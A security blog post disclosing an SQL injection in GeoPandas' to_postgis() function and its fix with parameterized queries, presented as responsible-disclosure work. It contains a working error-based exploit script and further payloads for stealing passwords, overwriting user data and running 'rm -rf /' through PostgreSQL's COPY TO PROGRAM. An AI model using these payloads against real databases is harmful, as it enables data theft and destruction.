SQL Injection Vulnerability: Security Issue in GeoPandas to_postgis() Function

27 December 2025 • Yunus Aydın • 6 min read

While using the GeoPandas library one day, I noticed something was wrong with the `to_postgis()` function. User inputs were being directly concatenated into SQL queries. This was a classic SQL injection vulnerability. After finding the vulnerability, I also wrote the fix myself and opened a pull request. In this post, I'll explain what I found and how I fixed it.

What is SQL Injection?

SQL injection is a security vulnerability that occurs when user inputs are directly concatenated into SQL queries. An attacker can manipulate database queries by using special characters.

Why is this vulnerability dangerous? Because it can:

- Provide access to all data in the database
- Modify the database structure
- Delete or modify data from the database
- Execute system commands (like the `COPY` command in PostgreSQL)

How I Found the Vulnerability

GeoPandas' `to_postgis()` function is used to write GeoDataFrames to a PostgreSQL database. The function was directly concatenating user-provided parameters like table names

and schema names into SQL queries. The actual vulnerable code was:

```
# geopandas/io/sql.py:434
if connection.dialect.has_table(connection, name, schema):
    target_srid = connection.execute(
        text(f"SELECT Find_SRID('{schema_name}', '{name}', '{geom_name}');")
    ).fetchone()[0]
```

The problem is clear: `schema_name`, `name`, and `geom_name` variables are directly inserted into the f-string. This was vulnerable to SQL injection attacks.

Attack Vector

The geometry column name (`geom_name`) is user-controlled via `gdf.rename_geometry()` and directly interpolated into the SQL query without parameterization.

How It Can Be Exploited

To exploit the SQL injection vulnerability, we can manipulate the `geom_name` parameter using `rename_geometry()`. Using error-based SQL injection technique, we can extract database information.

Exploit Payload

```
import geopandas as gpd
from shapely.geometry import Point
from sqlalchemy import create_engine
import re

# Malicious geometry column name
malicious_geom_name = "geom'); SELECT CAST(version() AS int); --"
gdf = gpd.GeoDataFrame(geometry=[Point(0, 0)], crs='EPSG:4326')
gdf = gdf.rename_geometry(malicious_geom_name)

try:
    gdf.to_postgis(name="test_table", con=engine, if_exists="append")
```

```
except Exception as e:
    # Extract version information from PostgreSQL error message
    match = re.search(r':\s*"([^"]+)"', str(e))
    if match:
        print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}")
```

Generated SQL Query

```
SELECT Find_SRID('public', 'test_table', 'geom'); SELECT CAST(version() AS int); --');
```

Result

PostgreSQL attempts to cast the `version()` function to an integer, which causes an error. The error message leaks the PostgreSQL version information:

```
✅ EXTRACTED PostgreSQL version: PostgreSQL 15.4 (Debian 15.4-1.pgdg110+1) on x86_64-pc-linux-gnu, com
```

Error Message:

```
invalid input syntax for type integer: "PostgreSQL 15.4..."
```

Technical Details

Exploit Technique: Error-based SQL injection

1. Break out of string parameter: `geom');`
2. Inject new SQL statement: `SELECT CAST(version() AS int);`
3. PostgreSQL error reveals version in error message
4. Extract data using regex: `r':\s*"([^"]+)"'`

Why It Works:

- No input validation on `geom_name`
- F-string interpolation instead of parameterized queries
- PostgreSQL error messages leak data

Other Exploit Examples

- Data reading: `"geom'); SELECT CAST((SELECT password FROM users LIMIT 1) AS int); --"`
- Data modification: `"geom'); UPDATE users SET password='hacked'; --"`
- System commands: `"geom'); COPY (SELECT 1) TO PROGRAM 'rm -rf /'; --"`

Fix: Parameterized Queries

To fix the vulnerability, I replaced f-string interpolation with parameterized queries. Parameterized queries separate user inputs from SQL queries, preventing SQL injection attacks.

Vulnerable Code

```
# VULNERABLE:
target_srid = connection.execute(
    text(f"SELECT Find_SRID('{schema_name}', '{name}', '{geom_name}');")
).fetchone()[0]
```

Secure Code

```
# SECURE:
target_srid = connection.execute(
    text("SELECT Find_SRID(:schema_name, :name, :geom_name);").bindparams(
        schema_name=schema_name,
```

```
        name=name,
        geom_name=geom_name
    )
).fetchone()[0]
```

Advantages of the Fix

- Prevents SQL injection attacks
- Safely handles user inputs
- Uses PostgreSQL's parameterized query mechanism
- Improves security without breaking the existing API

Why It Works:

- Parameterized queries completely separate user inputs from SQL queries
- PostgreSQL automatically escapes parameters
- SQL injection payloads no longer work

Proof of Concept

Full working exploit code:

```
import geopandas as gpd
from shapely.geometry import Point
from sqlalchemy import create_engine
import re

# Create GeoDataFrame
gdf = gpd.GeoDataFrame(geometry=[Point(0, 0)], crs='EPSG:4326')

# Exploit with malicious geometry column name
gdf = gdf.rename_geometry("geom'); SELECT CAST(version() AS int); --")

try:
    # to_postgis call triggers SQL injection
```

```
    gdf.to_postgis(name="test_table", con=engine, if_exists="append")
except Exception as e:
    # Extract version information from PostgreSQL error message
    match = re.search(r':\s*"([^"]+)"', str(e))
    if match:
        print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}")
```

Conclusion

SQL injection vulnerabilities can be very dangerous, especially when user inputs are directly concatenated into SQL queries. Finding and fixing this vulnerability significantly improved the security of the GeoPandas library.

Finding and fixing such vulnerabilities is critical for improving the security of open-source libraries. If you find similar vulnerabilities, I recommend reporting them to the development team following responsible disclosure principles and, if possible, writing the fix yourself.

Related content:

- CVE-2025-66019: LZW Decompression DoS Vulnerability in pypdf Library
- exifLooter: Extracting Hidden Location Data from Images

Resources:

- GitHub PR: BUG: SQL Injection Exploit Report - GeoPandas to_postgis()
- OWASP: SQL Injection
- PostgreSQL Identifier Quoting

Related Posts

CRLF Injection in CPython's http.server and wsgiref

I found a CRLF injection vulnerability in CPython’s standard library — specifically in http.server and wsgiref. When an application reflects...

24 April 2026

CVE-2026-0562: IDOR in LollMS friend request response

I reported this on December 29th, 2025, and it was assigned CVE-2026-0562 with a CVSS score of 8.3 (HIGH). The...

18 April 2026

Finding Security Fixes Without CVE: A Changelog and Commit Pipeline

Many real security fixes never get a CVE. Maintainers patch a vulnerability, mention it in release notes or commit messages,...

11 April 2026

← Back to home

All posts →

RSS Feed